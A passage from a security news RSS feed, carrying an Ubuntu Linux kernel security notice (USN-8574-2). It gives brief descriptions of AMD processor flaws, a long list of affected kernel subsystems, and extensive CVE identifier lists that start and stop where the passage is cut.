CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:01:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
